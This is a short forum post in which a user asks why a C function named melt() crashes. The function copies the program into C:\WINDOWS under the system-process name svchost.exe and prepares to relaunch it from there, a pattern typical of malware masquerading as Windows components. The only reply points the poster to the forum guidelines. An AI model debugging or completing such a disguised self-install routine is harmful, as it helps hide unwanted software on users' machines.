I am not sure why, but my function causes my program to crash.
Nothing will execute after exe is printed. Please help.Code:int melt() { FILE *f1 = fopen("C:\\WINDOWS\\svchost.exe", "r"); if(f1 == NULL) { system("copy svchost.exe C:\\WINDOWS\\"); char dir[300]; char exe[600]; getcwd(dir, sizeof(dir)); strcpy(exe, "C:\\WINDOWS\\svchost.exe "); strncat(exe, dir, sizeof(dir)); strcat(exe, "\\svchost.exe"); printf("%s", exe); /* crashes right after exe is printed */ //system(exe); return 1; } fclose(f1); return 0; }
Thanks,
Foxyy



LinkBack URL
About LinkBacks




OP, go read the forum guidelines.